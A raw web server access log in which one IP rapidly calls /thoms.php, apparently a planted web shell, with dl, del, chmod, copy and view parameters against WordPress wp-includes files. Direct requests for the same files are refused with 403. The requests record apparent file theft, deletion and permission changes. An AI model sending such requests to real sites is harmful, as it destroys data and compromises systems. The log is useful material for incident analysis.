45.135.193.11 - - [11/Sep/2026:23:17:44 -0400] "GET /thoms.php?dl=view-config.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=view-config.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:44 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=feed-rss.php HTTP/1.1" 200 12544 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=feed-rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:44 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-default-constants.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-default-constants.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:44 -0400] "GET /bestzyx.com.tw/wp-includes/session.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:44 -0400] "GET /bestzyx.com.tw/wp-includes/update.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:44 -0400] "GET /thoms.php?dl=class-wp-widget.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:44 -0400] "GET /thoms.php?chmod=fonts.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=fonts.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:44 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-post-type.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:44 -0400] "GET /thoms.php?del=interactivity-api&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=interactivity-api&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:45 -0400] "GET /thoms.php?chmod=class-wp-site-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:44 -0400] "GET /thoms.php?del=class-wp-image-editor-imagick.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59249 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-imagick.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:45 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:45 -0400] "GET /bestzyx.com.tw/wp-includes/vars.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:45 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fbookmark.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fbookmark.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:45 -0400] "GET /thoms.php?dl=utf8.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=utf8.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:45 -0400] "GET /thoms.php?chmod=cache-compat.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=cache-compat.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:45 -0400] "GET /thoms.php?dl=class-wp-post-type.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59331 "http://163.245.207.76:443/thoms.php?dl=class-wp-post-type.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:45 -0400] "GET /thoms.php?dl=rss-functions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59200 "http://163.245.207.76:443/thoms.php?dl=rss-functions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:46 -0400] "GET /thoms.php?del=class-avif-info.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-avif-info.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:46 -0400] "GET /thoms.php?dl=class-wp-customize-panel.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-panel.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:46 -0400] "GET /thoms.php?del=class-wp-exception.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=class-wp-exception.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:46 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-site-query.php HTTP/1.1" 200 20321 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-site-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:46 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fbuild HTTP/1.1" 200 13686 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fbuild" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:47 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=cache-compat.php HTTP/1.1" 200 14672 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=cache-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:46 -0400] "GET /thoms.php?del=class-wp-user-meta-session-tokens.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-user-meta-session-tokens.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:47 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http-proxy.php HTTP/1.1" 200 14018 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http-proxy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:47 -0400] "GET /thoms.php?chmod=class-wp-network.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:47 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-paused-extensions-storage.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:47 -0400] "GET /thoms.php?dl=class-wp-dependency.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependency.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcss&p= HTTP/1.1" 200 12284 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:47 -0400] "GET /thoms.php?dl=class-wp-view-config-data.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59326 "http://163.245.207.76:443/thoms.php?dl=class-wp-view-config-data.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:47 -0400] "GET /thoms.php?chmod=class-wp-customize-manager.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-manager.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:47 -0400] "GET /thoms.php?del=link-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=link-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:47 -0400] "GET /thoms.php?dl=cache-compat.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?dl=cache-compat.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:48 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php HTTP/1.1" 200 18567 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:48 -0400] "GET /thoms.php?chmod=class-wp-xmlrpc-server.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-xmlrpc-server.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fwidgets.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fwidgets.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:48 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-http-streams.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:48 -0400] "GET /thoms.php?dl=media-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=media-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:48 -0400] "GET /thoms.php?dl=update.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=update.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:48 -0400] "GET /thoms.php?dl=admin-bar.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59364 "http://163.245.207.76:443/thoms.php?dl=admin-bar.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:48 -0400] "GET /thoms.php?del=class-wp-icon-collections-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59378 "http://163.245.207.76:443/thoms.php?del=class-wp-icon-collections-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:49 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=rest-api.php HTTP/1.1" 200 39857 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=rest-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:49 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2FID3&p= HTTP/1.1" 200 12280 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2FID3&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:49 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-block-pattern-categories-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:49 -0400] "GET /thoms.php?dl=feed-rss2-comments.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=feed-rss2-comments.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:49 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fimages&p= HTTP/1.1" 200 12288 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:49 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2FText HTTP/1.1" 200 13189 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2FText" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:49 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-customize-control.php HTTP/1.1" 200 19044 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-customize-control.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:49 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:49 -0400] "GET /thoms.php?chmod=class-wp-simplepie-file.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-file.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:50 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:49 -0400] "GET /thoms.php?dl=class-wp-customize-nav-menus.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-nav-menus.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:49 -0400] "GET /thoms.php?dl=class-json.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-json.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:50 -0400] "GET /bestzyx.com.tw/wp-includes/comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:50 -0400] "GET /thoms.php?dl=class-walker-page-dropdown.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-walker-page-dropdown.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:50 -0400] "GET /bestzyx.com.tw/wp-includes/locale.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:50 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2FID3 HTTP/1.1" 200 15661 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2FID3" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:50 -0400] "GET /thoms.php?del=class-wp-term-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-term-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:50 -0400] "GET /bestzyx.com.tw/wp-includes/canonical.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:50 -0400] "GET /thoms.php?dl=compat-utf8.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59341 "http://163.245.207.76:443/thoms.php?dl=compat-utf8.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:50 -0400] "GET /bestzyx.com.tw/wp-includes/class-requests.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:50 -0400] "GET /thoms.php?dl=nav-menu.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=nav-menu.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:51 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http-curl.php HTTP/1.1" 200 16265 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http-curl.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:51 -0400] "GET /thoms.php?chmod=class-wp-user-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:51 -0400] "GET /thoms.php?del=class-wp-block-metadata-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59331 "http://163.245.207.76:443/thoms.php?del=class-wp-block-metadata-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:51 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-block-type.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
